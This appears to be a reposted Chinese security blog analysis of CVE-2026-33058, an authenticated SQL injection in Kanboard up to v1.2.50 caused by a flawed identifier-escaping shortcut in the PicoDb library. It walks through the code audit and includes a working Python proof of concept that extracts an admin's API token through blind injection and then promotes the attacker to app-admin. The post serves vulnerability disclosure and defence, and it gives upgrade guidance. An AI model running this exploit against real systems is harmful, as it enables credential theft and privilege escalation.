一次从代码审计到利用:KanboardSQL注入漏洞(CVE-2026-33058)分析

admin 2026-03-27 14:00:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了Kanboard的SQL注入漏洞CVE-2026-33058,源于底层PicoDb库标识符转义逻辑缺陷,允许攻击者绕过转义实施注入。攻击者利用项目权限管理接口,结合盲注窃取管理员API令牌实现权限提升。文章完整展示了从代码审计、漏洞定位到PoC编写的全过程,并给出了升级至v1.2.51版本的修复建议,强调了查询构建器安全性的重要。 综合评分: 95 文章分类: 漏洞分析,代码审计,漏洞POC,WEB安全


cover_image

一次从代码审计到利用:Kanboard SQL注入漏洞(CVE-2026-33058)分析

幻泉之洲

2026年3月25日 10:02 北京

Kanboard项目权限管理功能中存在一个经过身份验证的SQL注入漏洞(CVE-2026-33058),影响版本v1.2.50及之前。漏洞根源于其ORM组件PicoDb中标识符转义逻辑的缺陷,允许攻击者通过特定参数注入恶意SQL,导致任意用户API令牌泄露,最终可能实现权限提升。

周末想找点事做,就随手翻了翻Kanboard(一个流行的PHP项目管理工具)的代码,想看看它怎么和数据库打交道的。没想到喝了两杯咖啡的功夫,还真让我挖出一个洞来,还是个需要登录才能利用的SQL注入。漏洞编号是CVE-2026-33058,影响v1.2.50及之前的版本。

漏洞概述

CVE-2026-33058是一个发生在Kanboard项目权限管理模块中的经过身份验证的SQL注入漏洞。攻击者需要具备向项目添加用户的权限(通常是项目经理角色)。成功利用后,攻击者可以窃取管理员的API访问令牌,进而修改自身或他人权限,升级为应用程序管理员。

技术原理分析

漏洞的根源不在Kanboard业务逻辑本身,而是在它底层依赖的PicoDb库,这是个作者自己写的“极简数据库查询构建器”。问题就出在标识符转义时的一个疏忽上。

我习惯从控制器开始跟。随便找了个app/Controller/*.php里的文件,一路跟到模型层app/Model/*.php。模型方法长得都差不多,用链式调用构建查询:

/** * 获取指定项目和状态的所有任务 * * @access public * @param  integer   $project_id      项目ID * @param  integer   $status_id       状态ID * @return array */ public function getAll($project_id, $status_id = TaskModel::STATUS_OPEN) {    return $this->db                ->table(TaskModel::TABLE)                ->eq(TaskModel::TABLE.’.project_id’, $project_id)                ->eq(TaskModel::TABLE.’.is_active’, $status_id)                ->asc(TaskModel::TABLE.’.id’)                ->findAll(); }

继续顺着$this->db往里追,找到了核心文件libs/picodb/lib/PicoDb/Database.php。它内部用到了PDO::preparePDOStatement::bindParam,看上去做了参数化查询,按理说能防注入。但问题不在这。

关键在Table::findAll()这类最终执行查询的方法里。在真正执行前,它会先构建SQL查询字符串:

public function buildSelectQuery() {    return trim(sprintf(        ‘SELECT %s %s FROM %s %s %s %s %s %s %s %s’,        $this->sqlTop,        $this->sqlSelect,        $this->db->escapeIdentifier($this->name),        implode(‘ ‘, $this->joins),        $this->conditionBuilder->build(),        empty($this->groupBy) ? ” : ‘GROUP BY ‘.implode(‘, ‘, $this->groupBy),        $this->sqlOrder,        $this->sqlLimit,        $this->sqlOffset,        $this->sqlFetch    )); }

注意里面的$this->db->escapeIdentifier($this->name)和后面$this->conditionBuilder->build()。我立刻去看了escapeIdentifier这个方法,它的逻辑让我有点意外:

public function escapeIdentifier($value, $table = ”) {    // 不转义自定义查询    if (strpos($value, ‘.’) !== false || strpos($value, ‘ ‘) !== false) {        return $value;    }    // 避免潜在的SQL注入    if (preg_match(‘/^[a-z0-9_]+$/’, $value) === 0) {        throw new SQLException(‘Invalid identifier: ‘.$value);    }    if (! empty($table)) {        return $this->driver->escape($table).’.’.$this->driver->escape($value);    }    return $this->driver->escape($value); }

看明白了吗?如果传入的$value包含点号(.)或者空格,这个方法直接就把原始值返回了,后续的转义和正则检查全部跳过。这简直就是在“帮”攻击者绕过转义。

那么问题来了,用户输入能流进这个escapeIdentifier方法吗?我回头看链式调用里的eq()方法,它是构建“等于”条件的主要方法:

public function eq($column, $value) {    $this->addCondition($this->db->escapeIdentifier($column).’ = ?’);    $this->values[] = $value; }

看,$column参数直接喂给了escapeIdentifier。如果攻击者能控制$column,而这个值里又恰好有个空格或者点,转义就形同虚设了。$column会原封不动地成为查询字符串的一部分,然后才和占位符?以及后续绑定好的$value一起传给PDO::prepare。这时注入就已经完成了。

寻找利用点

理清了逻辑,下一步就是在整个代码里找哪里可能把用户输入传给eq()的第一个参数。我用正则搜了一下:

rg -A 10 -B 10 '\->(eq|...)\\(\s*\\$' app/Model

很快就找到了一个完美的利用链:ProjectPermissionController::addUser()

这个控制器方法接收用户提交的表单数据,其中包含external_id_column参数。如果user_id为空但external_idexternal_id_column有值,它会调用一个模型方法:

public function getOrCreateExternalUserId($username, $name, $externalIdColumn, $externalId) {    $userId = $this->db->table(self::TABLE)->eq($externalIdColumn, $externalId)->findOneColumn(‘id’);    … }

看,用户控制的$externalIdColumn被直接作为eq()的第一个参数传了进去。攻击路径通了。

验证与利用

我搭了个Docker环境来验证。为了看清最终构造的SQL,我在StatementHandler::execute()里加了行print_r($this->sql)

先用一个普通字符串测试,比如“xxxxxxxxxxxxxx”。打印出来的SQL是这样的:

SELECT  “users”.”id” FROM “users”   WHERE “xxxxxxxxxxxxxx” = ?    LIMIT 1

很正常,escapeIdentifier用双引号把它包起来了,因为字符串不包含空格或点。

然后我试着在external_id_column里加了个空格。结果让人满意:

SELECT  “users”.”id” FROM “users”   WHERE (SELECT OH NOES!!!11);– – = ?    LIMIT 1

SQL里的占位符已经被注释掉了,我们的恶意SQL片段成功注入。

概念验证(PoC)

理论上能注入,就得写个能实际利用的脚本才算完整。我的PoC思路分两步:

  1. 利用基于布尔值的盲注,从数据库中窃取管理员用户的API访问令牌。这个令牌是长度为60的十六进制字符串。
  2. 使用窃取到的API令牌,通过Kanboard的JSON-RPC接口修改攻击者自身的用户角色,提升为app-admin

以下脚本仅用于安全研究和授权测试,请勿用于非法用途。

import string import bs4 import argparse import requests

def main(args):    base_url = args.url.rstrip(“/”)    …    def send_sqli(payload: str) -> bool:        response = session.post(            f”{base_url}/?controller=ProjectPermissionController&action=addUser&project_id={args.project_id}”,            data={                “csrf_token”: csrf,                “user_id”: “”,                “username”: “dummy”,                “external_id”: “dummy”,                “external_id_column”: payload,  # 注入点                “name”: “dummy”,                “role”: “dummy”,            },            allow_redirects=False,        )        return response.status_code == 302

   print(f”Looking for API key for {args.victim_username}…”)    chars = []    for idx in range(1, 61):  # api_access_token长度为60字符,小写十六进制        for c in string.hexdigits[:-6]:            response = send_sqli(                f”(CASE WHEN (SELECT SUBSTR(api_access_token, {idx}, 1)='{c}’ FROM users WHERE username = ‘{args.victim_username}’ LIMIT 1) THEN ‘dummy’ ELSE NULL END)”            )            if response:                chars.append(c)                break    api_key = “”.join(chars)    print(f”Found {args.victim_username}’s API key: {api_key}”)

   print(f”Adding user {args.user_id} to admins…”)    requests.post(        f”{base_url}/jsonrpc.php”,        auth=(args.victim_username, api_key),        json={            “jsonrpc”: “2.0”,            “method”: “updateUser”,            “id”: 322123657,            “params”: {“id”: args.user_id, “role”: “app-admin”},        },    ) …

影响范围与修复

漏洞影响Kanboard <= v1.2.50的所有版本。

修复其实很简单,根本不用动业务代码。问题出在PicoDb库的escapeIdentifier方法。只要删掉那个“遇到空格或点就原样返回”的早期返回逻辑,确保所有用户提供的标识符都经过正则检查或正确转义就行。开发者在v1.2.51版本中已经修复了这个问题。

如果你是Kanboard用户,最简单的办法就是立刻升级到v1.2.51或更高版本。


时间线:

  • 2026-02-14:识别并报告漏洞
  • 2026-02-16:报告被作者接受
  • 2026-03-07:Kanboard发布补丁版本v1.2.51
  • 2026-03-18:CVE-2026-33058发布

一次从代码逻辑追查到实际利用的完整过程就到这里了。说到底,这次漏洞的教训是,即使底层用了参数化查询,如果构建查询字符串的过程中转义不当,危险依然存在。自定义的“极简”轮子,有时反而藏着大坑。


参考资料

[1] https://0dave.ch/posts/cve-2026-33058/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《一次从代码审计到利用:Kanboard SQL注入漏洞(CVE-2026-33058)分析》

评论:0   参与:  0